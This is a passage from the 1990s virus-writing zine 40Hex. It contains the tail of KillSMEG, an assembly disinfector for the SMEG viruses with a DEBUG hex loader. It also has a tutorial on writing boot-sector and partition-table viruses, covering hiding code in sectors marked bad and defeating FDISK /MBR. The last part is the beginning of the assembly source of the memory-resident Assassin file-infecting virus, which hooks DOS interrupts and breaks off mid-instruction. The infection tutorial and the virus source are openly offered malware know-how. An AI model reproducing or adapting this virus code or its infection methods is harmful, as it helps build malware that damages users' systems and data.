oldsp,sp push cs pop es LoadFile: mov ax,4b01 mov bx,offset ParmBlock mov dx,9e int 21 jc ErrorExecute SetupExec: push cs pop ds mov ax,2522 mov dx,offset ExecuteTerminated int 21 ;Set Termination address mov ah,62 int 21 push bx bx pop es ds mov word ptr cs:[StartDS],bx mov ax,cs mov word ptr ds:[0a],offset ExecuteTerminated mov word ptr ds:[0c],ax ;Set Termination Address cli mov ax,word ptr cs:[NewStack+2] mov ss,ax mov sp,word ptr cs:[NewStack] sti pushf pop ax or ax,0100 xor bx,bx xor cx,cx xor dx,dx mov si,100 xor di,di xor bp,bp push word ptr cs:[NewCS] push word ptr cs:[NewIP] push ax popf retf ExecuteTerminated: cld pushf pop ax and ax,not 100 ;ditch trapflag push ax popf cli mov ax,cs:[OldSS] mov ss,ax mov sp,cs:[OldSP] sti lds dx,dword ptr cs:[IP01] mov ax,2501 int 21 push cs cs pop es ds mov ah,1a mov dx,80 ;Reset DTA int 21 ErrorExecute: ret OldSS dw 0 OldSP dw 0 Int01: cld push bp mov bp,sp add bp,2 push ax bx cx dx es ds si di cmp cs:TraceDone,1 je DOneInt01 call CheckESDS call CheckOPCode jne DoneInt01 call InitScanString call ScanMemory call InitScanString DoneInt01: pop di si ds es dx cx bx ax pop bp iret InitScanString: push ds si cx push cs pop ds mov si,offset QueegScan1 mov cx,EndScan1-QueegScan1 DecryptString: xor byte ptr [si],42 inc si loop DecryptString pop cx si ds ret TerminateProgram: mov byte ptr cs:[TraceDone],1 mov ax,4c00 int 21 CheckOpCode: mov si,[bp+2] mov ds,si mov si,[bp] cmp byte ptr dS:[si],0cdh je NonvalidOp cmp byte ptr ds:[si],0eah je NonvalidOp cmp byte ptr ds:[si],09ah je NonvalidOp cmp byte ptr ds:[si],0abh je NonvalidOp cmp byte ptr ds:[si],0adh je NonvalidOp mov al,byte ptr ds:[si] and al,0f0 cmp al,60 je NonvalidOp cmp al,90 je NonvalidOp cmp al,0a0 je NonvalidOp cmp word ptr ds:[si],00e8 jne ExitOpTest cmp word ptr ds:[si+2],5800 ExitOpTest: ret NonValidOp: jmp TerminatePRogram CheckESDS: mov ax,[bp+2] cmp ax,word ptr cs:[NewCS] je CSOkay jmp TerminateProgram CSOkay: mov ax,[bp+2] mov bx,ds cmp bx,ax jne DSNotEqualCS CheckES: mov bx,es cmp bx,ax jne ESNotEqualCS ExitSEGCheck: ret DSNotEqualCS: cmp bx,word ptr cs:[StartDS] je CheckES mov byte ptr cs:[TraceDone],1 jmp TerminateProgram ESNotEqualCS: cmp bx,word ptr cs:[StartDS] je ExitSEGCheck mov byte ptr cs:[TraceDone],1 jmp TerminateProgram ScanMemory: push cs pop ds mov si,offset QueegScan1 mov di,[bp+2] mov es,di mov di,[bp] mov cx,800 lodsb SearchForString: repnz scasb jcxz StringNotFound push ax cx si di mov cx,0bh repz cmpsb jcxz StringFound pop di si cx ax jmp SearchForString StringFound: pop di si cx ax SaveInfo: dec di ;ES:DI = beginning of virus push es di pop si ds ;ds:si+133 22 c0 75 19 bb 00 01 2e a1 MakeSureKnowVir: cmp word ptr ds:[si+33],0c022 jne NotKnown cmp word ptr ds:[si+39],2e01 jne NotKnown mov byte ptr cs:[knownvir],1 jmp DoneVarCheck NotKnown: mov byte ptr cs:[knownvir],0 DoneVarCheck: mov bx,si sub bx,100 mov si,word ptr ds:[bx+13c] add si,bx push cs pop es mov di,offset COMStorage movsw movsb mov si,word ptr ds:[bx+164] add si,bx mov di,offset EXEStack movsw movsw mov si,word ptr ds:[bx+171] add si,bx mov di,offset EXEInstruct movsw movsw MarkInfected: mov byte ptr cs:[Infected],1 call InitScanString jmp TerminateProgram StringNotFound: ret OutOfMemory: mov dx,offset OOM ErrExit: push cs pop ds mov ah,9 int 21 mov ax,4c02 int 21 ErrorClean: mov dx,offset FileError mov ah,09 push cs pop ds int 21 jmp Dealloc DisinfCom: mov ah,48 mov bx,1000 int 21 jc OutOfMemory mov es,ax mov dx,9e mov ax,3d00 int 21 jc ErrorClean xchg bx,ax push es pop ds xor dx,dx mov cx,word ptr cs:[ComJump] add cx,3 mov ah,3f int 21 push ax mov ah,3e int 21 mov ax,word ptr cs:[COMStorage] mov word ptr ds:[0],ax mov al,byte ptr cs:[ComStorage+2] mov byte ptr ds:[2],al push cs pop ds mov ah,3c xor cx,cx mov dx,9e int 21 pop cx jc ErrorClean xchg bx,ax push es pop ds mov ah,40 xor dx,dx int 21 mov ah,3e int 21 DeAlloc: mov ah,49 int 21 push cs cs pop es ds ret EXEErrorClean: mov dx,offset FileError mov ah,09 push cs pop ds int 21 ret DisinfEXE: int 3 mov ah,41 mov dx,offset TMPFile int 21 push cs cs pop es ds mov dx,9e mov ax,3d02 ;open file int 21 jnc EXECOpenGood jmp EXEErrorClean ExecOpenGood: xchg bx,ax mov cx,20 mov ah,3f mov dx,offset ExecHeader int 21 mov di,offset Execheader+0e mov si,offset ExeStack movsw movsw xor bp,bp mov di,offset execheader+14 mov dx,[di+2] ;DX:AX = new filesize kinda mov ax,[di] mov cl,4 shl dx,cl adc bp,0 add ax,dx adc bp,0 mov dx,bp ;DX:AX = filesize w/o header mov cx,word ptr [execheader+08] shl cx,1 shl cx,1 shl cx,1 shl cx,1 add ax,cx adc dx,0 ;Header now calculated in mov ExeSizeHigh,dx mov ExeSizeLow,ax and ax,1ff ;modulo 512 mov word ptr [execheader+2],ax mov ax,EXESizeLow mov cx,7 shl dx,cl mov word ptr [execheader+4],dx mov cx,9 add ax,1ff shr ax,cl add word ptr [execheader+4],ax mov si,offset ExeInstruct movsw movsw mov ax,4200 xor cx,cx xor dx,dx int 21 mov ah,40 mov dx,offset execheader mov cx,20 int 21 mov ah,3e int 21 mov ah,56 mov dx,9e mov di,offset TmpFile ;Rename file int 21 mov ah,3c mov dx,9e xor cx,cx int 21 mov Dest,ax mov ax,3d00 mov dx,offset TmpFile int 21 mov Source,ax CopyLoop: mov cx,400 cmp word ptr [EXESizeHIgh],0 jne FullSize cmp word ptr [ExeSizeLow],400 ja FullSize mov cx,word ptr [ExeSizeLow] FullSize: sub word ptr [ExeSizeLow],400 sbb word ptr [ExeSizeHigh],0 mov ah,3f mov bx,Source mov dx,offset CopyBuffer int 21 mov cx,ax mov ah,40 mov bx,Dest mov dx,offset CopyBuffer int 21 cmp ax,400 je CopyLoop CloseUP: mov ah,3e mov bx,Dest int 21 mov ah,3e mov bx,Source int 21 DoneDis: mov ah,41 mov dx,offset TMPFile int 21 ret Source dw 0 Dest dw 0 OldInt01: IP01 dw 0 CS01 dw 0 TraceDone db 0 StartDS dw 0 ParmBlock: EnvSeg dw 0 CommandTail dd 0 FCB1 dd 0 FCB2 dd 0 NewStack dd 0 NewIP dw 0 NEWCS dw 0 Tmpfile db 'KQTMP',0 NewVar db ' - New Variant of SMEG!',0a,0dh,24 FileError db 'Sorry, File Error.',07,0a,0dh,24 OOM db 'Sorry, Out Of Memory',07,0a,0dh,24 Checking db 'Checking $' OpenError db ' - Error Opening.' DoneChecking db 0a,0dh,24 TimeMSG db ' - Time stamp is suspicious of SMEG.Queeg signature.',0a,0dh,24 pathtimemsg db ' - Time stamp is suspicious of SMEG.Pathogen signature.',0a,0dh,24 InfectedMSG db ' - INFECTED WITH SMEG!',0a,0dh db 'Disinfect (y/N)?',7,24 IntroMSG db 0a,0dh,'KillSMEG (c) 1994 Stormbringer, Phalcon/Skism.',0a,0dh db 'Finds and disinfects the 2 known SMEG viruses in the current directory.',0a,0dh,24 Instructions: db 'Usage : KILLSMEG Filemask (COM once, then EXE once is recommended)',0a,0dh db 'Example: KILLSMEG *.COM',0a,0dh,24 QueegScan1: db 0E8 xor 42, 00 xor 42, 00 xor 42, 58 xor 42, 0FE xor 42, 0CC xor 42 db 0B1 xor 42, 04 xor 42, 0D3 xor 42, 0E8 xor 42, 08C xor 42, 0CBh xor 42 ;Initializing Code EndScan1: ;QueegScan2: ;db 0B8, 0EF, 18, 0CDh, 21, 3Dh, 10, 0E7, 75, 01, 0C3, 0E8 ;Installation Check ParmData db 40 dup(0) knownvir db 0 Jmpbyte db 0 COMJump db 0,0 Infected db 0 COMEXE db 0 ;0 for COM, 1 for EXE EXECCheck dw 0,0 COMStorage db 0,0,0 EXEStack dd 0 EXEInstruct dd 0 ;0f9d-SP 0f9b-SS 0fa0-IP:CS ExeSizeLow dw 0 EXESizeHigh dw 0 Filenamebuf db 80d dup (?) ExecHeader db 20 dup(?) CopyBuffer db 400 dup(?) StackBuffer db 1000 dup(?) TopStack: endfinder: end start --------------------------- N KILLSMEG.COM E 0100 B4 4A BB CC 01 CD 21 BC C0 1C B4 09 BA 0C 07 CD E 0110 21 80 3E 80 00 01 77 0C B4 09 BA 88 07 CD 21 B8 E 0120 00 4C CD 21 BE 82 00 BF 50 08 AC 3C 0D 74 03 AA E 0130 EB F8 32 C0 AA B4 4E BA 50 08 B9 07 00 CD 21 73 E 0140 03 E9 BE 00 E8 D6 00 8B 0E 96 00 80 E1 1F 80 F9 E 0150 1C 75 03 E8 B1 00 8B 0E 98 00 80 FD C8 72 03 E8 E 0160 B0 00 B8 00 3D BA 9E 00 CD 21 73 03 E9 87 00 93 E 0170 BA 3D 08 B9 04 00 B4 3F CD 21 B4 3E CD 21 A1 3D E 0180 08 32 E0 80 FC 17 74 11 0E 07 BF 38 08 BE 3D 08 E 0190 A4 A5 C6 06 3C 08 00 EB 05 C6 06 3C 08 01 C6 06 E 01A0 3B 08 00 90 C6 06 EC 05 00 90 E8 93 00 80 3E 3B E 01B0 08 01 75 3D E8 78 00 80 3E 37 08 01 74 0A B4 09 E 01C0 BA 0B 06 CD 21 EB 2A 90 B4 09 BA E2 06 CD 21 33 E 01D0 C0 CD 16 50 BA 6E 06 B4 09 CD 21 58 0C 20 3C 79 E 01E0 75 0F 80 3E 3C 08 01 74 05 E8 85 02 EB 03 E8 E7 E 01F0 02 B4 4F E9 47 FF E8 36 00 B4 09 BA 5D 06 CD 21 E 0200 EB EF B8 00 4C CD 21 E8 25 00 B4 09 BA 71 06 CD E 0210 21 C3 E8 1A 00 B4 09 BA A8 06 CD 21 C3 BA 53 06 E 0220 B4 09 CD 21 E8 08 00 BA 6E 06 B4 09 CD 21 C3 BE E 0230 9E 00 AC 0A C0 74 08 B4 02 8A D0 CD 21 EB F3 C3 E 0240 0E 1F A1 2C 00 A3 EF 05 8C D8 A3 F3 05 A3 F7 05 E 0250 A3 FB 05 B8 F7 07 A3 F1 05 A3 F5 05 A3 F9 05 B8 E 0260 01 35 CD 21 89 1E E8 05 8C 06 EA 05 B8 01 25 BA E 0270 09 03 CD 21 8C D0 A3 05 03 89 26 07 03 0E 07 B8 E 0280 01 4B BB EF 05 BA 9E 00 CD 21 72 78 0E 1F B8 22 E 0290 25 BA DA 02 CD 21 B4 62 CD 21 53 53 07 1F 2E 89 E 02A0 1E ED 05 8C C8 C7 06 0A 00 DA 02 A3 0C 00 FA 2E E 02B0 A1 FF 05 8E D0 2E 8B 26 FD 05 FB 9C 58 0D 00 01 E 02C0 33 DB 33 C9 33 D2 BE 00 01 33 FF 33 ED 2E FF 36 E 02D0 03 06 2E FF 36 01 06 50 9D CB FC 9C 58 25 FF FE E 02E0 50 9D FA 2E A1 05 03 8E D0 2E 8B 26 07 03 FB 2E E 02F0 C5 16 E8 05 B8 01 25 CD 21 0E 0E 07 1F B4 1A BA E 0300 80 00 CD 21 C3 00 00 00 00 FC 55 8B EC 83 C5 02 E 0310 50 53 51 52 06 1E 56 57 2E 80 3E EC 05 01 74 11 E 0320 E8 77 00 E8 35 00 75 09 E8 10 00 E8 A7 00 E8 0A E 0330 00 5F 5E 1F 07 5A 59 5B 58 5D CF 1E 56 51 0E 1F E 0340 BE EB 07 B9 0C 00 80 34 42 46 E2 FA 59 5E 1F C3 E 0350 2E C6 06 EC 05 01 B8 00 4C CD 21 8B 76 02 8E DE E 0360 8B 76 00 80 3C CD 74 30 80 3C EA 74 2B 80 3C 9A E 0370 74 26 80 3C AB 74 21 80 3C AD 74 1C 8A 04 24 F0 E 0380 3C 60 74 14 3C 90 74 10 3C A0 74 0C 81 3C E8 00 E 0390 75 05 81 7C 02 00 58 C3 EB B6 8B 46 02 2E 3B 06 E 03A0 03 06 74 02 EB AA 8B 46 02 8C DB 3B D8 75 07 8C E 03B0 C3 3B D8 75 10 C3 2E 3B 1E ED 05 74 F2 2E C6 06 E 03C0 EC 05 01 EB 8B 2E 3B 1E ED 05 74 E9 2E C6 06 EC E 03D0 05 01 E9 7B FF 0E 1F BE EB 07 8B 7E 02 8E C7 8B E 03E0 7E 00 B9 00 08 AC F2 AE E3 6C 50 51 56 57 B9 0B E 03F0 00 F3 A6 E3 06 5F 5E 59 58 EB EB 5F 5E 59 58 4F E 0400 06 57 5E 1F 81 7C 33 22 C0 75 10 81 7C 39 01 2E E 0410 75 09 2E C6 06 37 08 01 EB 07 90 2E C6 06 37 08 E 0420 00 8B DE 81 EB 00 01 8B B7 3C 01 03 F3 0E 07 BF E 0430 41 08 A5 A4 8B B7 64 01 03 F3 BF 44 08 A5 A5 8B E 0440 B7 71 01 03 F3 BF 48 08 A5 A5 2E C6 06 3B 08 01 E 0450 E8 E8 FE E9 FA FE C3 BA 3B 06 0E 1F B4 09 CD 21 E 0460 B8 02 4C CD 21 BA 25 06 B4 09 0E 1F CD 21 EB 55 E 0470 90 B4 48 BB 00 10 CD 21 72 DD 8E C0 BA 9E 00 B8 E 0480 00 3D CD 21 72 DF 93 06 1F 33 D2 2E 8B 0E 39 08 E 0490 83 C1 03 B4 3F CD 21 50 B4 3E CD 21 2E A1 41 08 E 04A0 A3 00 00 2E A0 43 08 A2 02 00 0E 1F B4 3C 33 C9 E 04B0 BA 9E 00 CD 21 59 72 AD 93 06 1F B4 40 33 D2 CD E 04C0 21 B4 3E CD 21 B4 49 CD 21 0E 0E 07 1F C3 BA 25 E 04D0 06 B4 09 0E 1F CD 21 C3 CC B4 41 BA 05 06 CD 21 E 04E0 0E 0E 07 1F BA 9E 00 B8 02 3D CD 21 73 02 EB DE E 04F0 93 B9 20 00 B4 3F BA A0 08 CD 21 BF AE 08 BE 44 E 0500 08 A5 A5 33 ED BF B4 08 8B 55 02 8B 05 B1 04 D3 E 0510 E2 83 D5 00 03 C2 83 D5 00 8B D5 8B 0E A8 08 D1 E 0520 E1 D1 E1 D1 E1 D1 E1 03 C1 83 D2 00 89 16 4E 08 E 0530 A3 4C 08 25 FF 01 A3 A2 08 A1 4C 08 B9 07 00 D3 E 0540 E2 89 16 A4 08 B9 09 00 05 FF 01 D3 E8 01 06 A4 E 0550 08 BE 48 08 A5 A5 B8 00 42 33 C9 33 D2 CD 21 B4 E 0560 40 BA A0 08 B9 20 00 CD 21 B4 3E CD 21 B4 56 BA E 0570 9E 00 BF 05 06 CD 21 B4 3C BA 9E 00 33 C9 CD 21 E 0580 A3 E6 05 B8 00 3D BA 05 06 CD 21 A3 E4 05 B9 00 E 0590 04 83 3E 4E 08 00 75 0C 81 3E 4C 08 00 04 77 04 E 05A0 8B 0E 4C 08 81 2E 4C 08 00 04 83 1E 4E 08 00 B4 E 05B0 3F 8B 1E E4 05 BA C0 08 CD 21 8B C8 B4 40 8B 1E E 05C0 E6 05 BA C0 08 CD 21 3D 00 04 74 C2 B4 3E 8B 1E E 05D0 E6 05 CD 21 B4 3E 8B 1E E4 05 CD 21 B4 41 BA 05 E 05E0 06 CD 21 C3 00 00 00 00 00 00 00 00 00 00 00 00 E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0600 00 00 00 00 00 4B 51 54 4D 50 00 20 2D 20 4E 65 E 0610 77 20 56 61 72 69 61 6E 74 20 6F 66 20 53 4D 45 E 0620 47 21 0A 0D 24 53 6F 72 72 79 2C 20 46 69 6C 65 E 0630 20 45 72 72 6F 72 2E 07 0A 0D 24 53 6F 72 72 79 E 0640 2C 20 4F 75 74 20 4F 66 20 4D 65 6D 6F 72 79 07 E 0650 0A 0D 24 43 68 65 63 6B 69 6E 67 20 24 20 2D 20 E 0660 45 72 72 6F 72 20 4F 70 65 6E 69 6E 67 2E 0A 0D E 0670 24 20 2D 20 54 69 6D 65 20 73 74 61 6D 70 20 69 E 0680 73 20 73 75 73 70 69 63 69 6F 75 73 20 6F 66 20 E 0690 53 4D 45 47 2E 51 75 65 65 67 20 73 69 67 6E 61 E 06A0 74 75 72 65 2E 0A 0D 24 20 2D 20 54 69 6D 65 20 E 06B0 73 74 61 6D 70 20 69 73 20 73 75 73 70 69 63 69 E 06C0 6F 75 73 20 6F 66 20 53 4D 45 47 2E 50 61 74 68 E 06D0 6F 67 65 6E 20 73 69 67 6E 61 74 75 72 65 2E 0A E 06E0 0D 24 20 2D 20 49 4E 46 45 43 54 45 44 20 57 49 E 06F0 54 48 20 53 4D 45 47 21 0A 0D 44 69 73 69 6E 66 E 0700 65 63 74 20 28 79 2F 4E 29 3F 07 24 0A 0D 4B 69 E 0710 6C 6C 53 4D 45 47 20 28 63 29 20 31 39 39 34 20 E 0720 53 74 6F 72 6D 62 72 69 6E 67 65 72 2C 20 50 68 E 0730 61 6C 63 6F 6E 2F 53 6B 69 73 6D 2E 0A 0D 46 69 E 0740 6E 64 73 20 61 6E 64 20 64 69 73 69 6E 66 65 63 E 0750 74 73 20 74 68 65 20 32 20 6B 6E 6F 77 6E 20 53 E 0760 4D 45 47 20 76 69 72 75 73 65 73 20 69 6E 20 74 E 0770 68 65 20 63 75 72 72 65 6E 74 20 64 69 72 65 63 E 0780 74 6F 72 79 2E 0A 0D 24 55 73 61 67 65 20 3A 20 E 0790 20 20 20 4B 49 4C 4C 53 4D 45 47 20 46 69 6C 65 E 07A0 6D 61 73 6B 20 28 43 4F 4D 20 6F 6E 63 65 2C 20 E 07B0 74 68 65 6E 20 45 58 45 20 6F 6E 63 65 20 69 73 E 07C0 20 72 65 63 6F 6D 6D 65 6E 64 65 64 29 0A 0D 45 E 07D0 78 61 6D 70 6C 65 3A 20 20 20 4B 49 4C 4C 53 4D E 07E0 45 47 20 2A 2E 43 4F 4D 0A 0D 24 AA 42 42 1A BC E 07F0 8E F3 46 91 AA CE 89 00 00 00 00 00 00 00 00 00 E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 RCX 0750 W Q --------------------------- 40Hex Number 14 Volume 5 Issue 1 File 003 Boot Infectors By Dark Angel of Phalcon/Skism As most of our readers have no doubt noticed, 40Hex articles have traditionally covered file based viruses. It is time to fill in the hole and cover the other large class of viruses, the partition table and boot sector viruses, herein termed "boot infectors" for brevity. File based viruses are executed after the operating system loads. Boot infectors, however, latch onto the parts of the drive that are accessed by the BIOS when it attempts to load the operating system itself. Therefore, there is little that can be done to intercept the boot infector once it has successfully installed itself onto a disk. A brief explanation of the basics of disk terminology is in order. Each disk is divided into 512 byte chunks called sectors. Due to an unfortunate choice in terminology, however, the system BIOS uses the term "sectors" differently. For our purposes, we will divide the disk into 512 byte blocks, with block 0 residing on the beginning of the disk. The system BIOS assigns three values to each block on the disk. The values are known as sectors, cylinders (sometimes known as tracks), and heads (sometimes called sides) and can be represented as a triple (sector,cylinder,head). Each disk has a certain number of sectors (SEC), cylinders (CYL), and heads (HDS). Cylinders are numbered from 0 to CYL - 1. Heads are numbered from 0 to HDS - 1. Sectors, for some unfathomable reason, are numbered from 1 to SEC. Block 0 corresponds to the triple (1,0,0) (sector 1, cylinder 0, head 0). Block 1 corresponds to (2,0,0), Block 2 with (3,0,0), and so on, until Block SPH. Block SPH corresponds to (1,1,0), Block SPH+1 with (2,1,0), and so on. Block 2*SPH is (1,2,0), Block 2*SPH+1 is (2,2,0), etc. This continues until Block HPC*SPH, which is (0,0,1). An introduction to the boot process is vital to understanding boot infectors. When the system is reset, the BIOS checks the first block, triple (1,0,0), of the first hard drive of the system (if any are installed, of course) to absolute memory address 7C000. If the hard drive exists, the block that was read in is checked for the signature 0AA55 (in reverse word format) occuring at offset 1FE. This is the marker for a valid partition table. If a partition table is found, the code residing in this block is executed at 0:7C00. If a valid partition table is not found (or the hard drive doesn't exist), then the BIOS tries booting from the floppy drive. It again reads the first block from the first floppy drive to absolute memory address 7C000. If there is a readable disk in the drive, it will be loaded in and executed. No check is made for the 0AA55 signature, although many boot sectors have it there anyway just for consistency. Technically, the first block of the hard disk is a boot sector just as it is on floppies. However, it is sometimes given a different name because of the partition table convention that allows multiple operating systems to reside on a single drive. We will call it by the somewhat misleading name of partition table. Another common name is the master boot record, for reasons that will become clear momentarily. The partition table convention is basically a simple structure at the end of the first block of the hard drive that defines where each operating system exists on a given hard drive. The partition table structure begins at offset 1BE in the block and consists of an array with four entries. The format of each entry is: Ofs Size Description 0 BYTE boot indicator, 0 = non-bootable, 80h = bootable 1 BYTE head the partition begins on 2 BYTE sector the partition begins on 3 BYTE cylinder the partition begins on 4 BYTE system indicator, indicates what OS resides in the partition 01 indicates DOS 12-bit FAT 04 indicates DOS 16-bit FAT 5 BYTE head the partition ends on 6 BYTE sector the partition ends on 7 BYTE cylinder the partition ends on 8 DWORD total number of blocks preceding the partition 0C DWORD total number of blocks in the partition The code in the partition table loads the boot record of the active partition (as indicated in the first bit of the partition table structure). The boot record then loads the operating system that resides in its respective partition. When BIOS decides to boot from a floppy, it reads in the first block off the floppy to 7C000. Floppies don't have partition tables, so this block is the equivalent of the boot record of a partition on a hard disk. In DOS, the boot record consists of three bytes for a JMP followed by the following structure, sometimes known as the BIOS parameter block (BPB): Offset Size Description 3 8 bytes OEM name and version (ASCII) 0B Word bytes per sector 0D Byte sectors per cluster 0E Word reserved sectors (starting at logical sector 0) 10 Byte number of FATs 11 Word number of root directory entries (32 bytes each) 13 Word total sectors in partition 15 Byte media descriptor 17 Word sectors per FAT 19 Word sectors per track 1B Word number of heads 1D Word number of hidden sectors The rest of the boot record consists of code that loads and executes the DOS system files, which then take over. There are a number of terms in the above structure which may be unfamiliar, but don't fret; they will be explained in due course. First, however, it is important to note that nothing requires these structures to exist! The partition table, for example, is merely a de facto convention which was set up to allow operating systems to co-exist on a single hard drive. The boot record structure defined above is used by DOS for DOS programs. Of course, another operating system could interpret the structure, but there is no requirement for a given operating system to use that format. When infecting disks, however, keep in mind that certain programs require the structures to be in place. DOS, for example, won't recognise partitions properly without the partition table being at its usual location. Floppies also won't work properly if the boot record is not loaded when DOS requests a read to the first block. In other words, make sure that all requests to the partition table or boot record return the partition table and boot record in the appropriate locations. The other code may be changed with the only drawback in such a scheme being easy detection of the code modifications. A better approach is to redirect requests to the modified blocks to a stored copy of the original. In other words, stealth. Seeing these structures, the method of infection, conceptually, at the very least, should be apparent. It's a simple matter to replace the code of the partition table or boot record with your own. All your code has to do is store the block somewhere else on the disk and replace the block with itself. When the virus gains control, it needs to put itself in memory and then load the original block into memory at 7C000 and then transfer control to this code. Once it is in memory, it is free to infect any disks which come into contact with the computer. This is all nice and easy to say, but there are a few details which would be helpful to know before plunging into writing a boot infector. When control is transferred to either the partition table or boot record, CS:IP is set to 0:7C00. SS:SP is undefined, so most boot infectors set it to 0:7C00, which causes the stack to be placed just below the loading area. This is sufficient for the needs of most viruses. Additionally, it would be nice to be able to locate empty space to store the original boot sector or partition table. Here, the virus has a number of choices. In hard disks, many viruses store the original partition table in the unused space between the partition table and the first partition. The first partition generally starts at triple (2,1,0) or later (some start as late as (2,0,1), so there is a wealth of space in which to store the virus in that area. A simple calculation reveals that there are (number of cylinders - 2) sectors between (1,0,0) where the partition table is and (2,1,0) where the first partition starts). Multiply that value by 512 and you have the number of bytes you can store there. That's a large chunk of space you have at your disposal. A virus may also store itself at the end of the root directory, although it risks overwriting valid directory entries. The BPB contains everything necessary to calculate the location and length of the root directory. An alternate approach, which is used by several viruses, is to alter the file allocation table, or FAT. The FAT is an array of entries which describe how the blocks on the disk are related. FAT entries are either 12 or 16 bits long, depending on the disk. 12 bit FAT's are generally used in disks and partitions with less than 20740 sectors and 16 bit FAT's are used in larger disks and partitions. The location and size of the FAT can be found in the BPB. Each entry in the FAT corresponds to a block on the disk. The FAT describes a file's placement on the disk. By following the chain, you can find the location of the blocks of the file, since they need not be contiguous. The value of the FAT entry is the number of the next block in the chain, i.e. an index to the FAT entry corresponding to the next block of the file, unless it is one of the special values. If the value of the FAT entry is 0, then the block is unused. If the value is -1 to -8 (FFF8-FFFF) then the block is the last block in a file. If the value is -9 to -10h (FFF0-FFF7) then the block is reserved (usually a bad block). The first and second entries in the FAT are always -1. The third entry governs the first data area. The idea is for the virus to find empty blocks, mark them as bad in the FAT, and store the code there. This way, DOS thinks the blocks are bad and does not overwrite the virus. One important issue with partition table infectors is whether they should preserve the partition table itself, i.e. leave the partition table structure at offset 1BE in the first block of the disk. Similarly, should boot sector infectors retain the BPB? This is a particularly interesting issue with stealth viruses, viruses which redirect attempts at accessing the partition table or boot sector. The advantage of retaining the structures is that DOS will recognize the disks even when the virus is not loaded in memory. Therefore, the virus is somewhat less vulnerable to detection. However, if the virus does not keep the structure, then it will be more difficult for the user to boot the computer without loading the virus in memory, since DOS will not recognise the drive. This is an especially nifty feature, since primitive cleaning attempts such as FDISK /MBR will fail against such a virus. Within this motley assortment of information, you will find enough to aid you in crafting an original boot infector. There is intentionally no code in this tutorial, mainly because there is little virus-specific information contained within. Many of the routines used in a boot infector are important when writing any boot sector, so there is little importance in repeating the code here. 40Hex Number 14 Volume 5 Issue 1 File 004 ; Assassin (Bug Fix version) ; by Dark Slayer mem_size equ offset memory_end-offset start mem_para equ (mem_size+0fh)/10h low_mem_size equ mem_size+100h low_mem_para equ (low_mem_size+0fh)/10h vir_size equ offset vir_end-offset start vir_sector equ (vir_size+1ffh+2)/200h constant_size equ offset constant-offset start .model tiny .code org 0 start: xor di,di mov dx,ds:[di+2] sub dh,5 mov ah,26h int 21h mov bp,ds:[di+2ch] mov ah,4ah mov bx,low_mem_para int 21h mov ah,52h int 21h mov bx,es:[bx-2] mov ax,cs dec ax mcb: mov cx,ds mov ds,bx inc bx mov dx,bx add bx,ds:[di+3] or bp,bp jnz not_boot cmp ax,bx jne not_our_mcb add word ptr ds:[di+3],low_mem_para+1 not_our_mcb: cmp ax,cx jne not_boot mov ds:[di+1],dx mov di,8 push ds pop es mov si,di mov ds,ax mov cx,di rep movsb push dx add ax,10h+1 push ax jmp short search not_boot: cmp byte ptr ds:[di],4dh je mcb cmp byte ptr ds:[di],5ah je mcb mov sp,low_mem_size sub dx,mem_para+1 mov es,dx sub dx,cx dec dx mov ds,cx mov ds:[di+3],dx mov si,100h mov cx,vir_size rep movs byte ptr es:[di],cs:[si] push es search: mov ax,352ah int 21h pop ds push ds mov di,offset i21_table mov ds:old2a[di]-i21_table,bx mov ds:old2a[di+2]-i21_table,es mov ah,25h mov dx,offset int2a int 21h mov dx,bx push es pop ds int 21h pop es lds si,es:[di] search_table: lodsw search_table_: dec si cmp ax,8b2eh jne search_table lodsw cmp ah,9fh jne search_table_ movsw scasw lea ax,[si-1e0h] stosw xchg si,ax mov word ptr ds:[si],0eacbh mov word ptr ds:[si+2],offset i21_3e mov ds:[si+4],es mov byte ptr ds:[si+6],0eah mov word ptr ds:[si+7],offset i21_3f mov ds:[si+9],es call set21 mov cx,bp jcxz boot mov ds,bp xor si,si l2: lodsw dec si or ax,ax jnz l2 lea dx,[si+3] mov di,offset pcb+4+100h push cs pop es mov ax,cs stosw scasw stosw scasw stosw mov ax,4b00h mov bx,offset pcb+100h int 21h mov ah,4dh int 21h mov ah,4ch int 21h boot: pop dx mov ah,26h int 21h mov bl,3 mov ss:[bp+18h+5],bl mov ax,1216h int 2fh inc bp mov es:[di],bp mov ss,dx mov ds,dx mov ax,4200h mov bl,5 cwd int 21h mov ah,3fh dec cx inc dh int 21h mov ah,3eh int 21h push ds pop es push ds push dx retf read_cmp proc mov cx,vir_size mov dx,cx push cs pop ds call read jc rc_exit push cx xor si,si if (vir_size and 0ff00h) eq (constant_size and 0ff00h) mov cl,constant_size and 0ffh else mov cx,constant_size endif compare: lodsb cmp al,ds:read_buffer[si-1] loope compare clc pop cx rc_exit: ret read_cmp endp read proc push bx push dx push ds mov ax,1229h int 2fh pop ds pop dx pop bx ret read endp write proc mov bp,40h*2 i21_func proc pop ax push bx push cs push ax push cs pop ds push ds:i21_far_jmp les di,dword ptr ds:i21_table push es push es:[di+bp] retf i21_func endp write endp set2324_restore21 proc push ds mov si,23h*4 xor ax,ax mov ds,ax mov di,offset old23 push cs pop es mov ax,offset int23 mov bp,2 sm_23_1: movsw mov ds:[si-2],ax movsw mov ds:[si-2],cs if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h) mov al,(offset int24-offset start) and 0ffh else mov ax,offset int24 endif dec bp jnz sm_23_1 mov si,di push cs pop ds mov bp,-4 rs_1: inc bp inc bp les di,dword ptr ds:i21_table mov di,es:[di+bp+2+3eh*2] movsb movsw jnz rs_1 pop ds pop bp pop ax push es push ax get_sft proc push bx mov ax,1220h int 2fh mov bl,es:[di] mov ax,1216h int 2fh pop bx jmp bp get_sft endp set2324_restore21 endp set21_restore23 proc mov si,offset old23 push cs pop ds mov di,23h*4 xor cx,cx mov es,cx mov cl,4 rep movsw push cs pop es set21 proc ; es = vir segment push ax mov bx,-4 mov di,offset i21_3e_data mov cx,es:i21_far_jmp[di]-i21_3e_data inc cx sm_1: inc bx lds si,dword ptr es:i21_table mov ax,ds:[si+bx+3+3eh*2] mov si,ax movsb movsw xchg si,ax sub ax,cx neg ax mov byte ptr ds:[si],0e9h mov 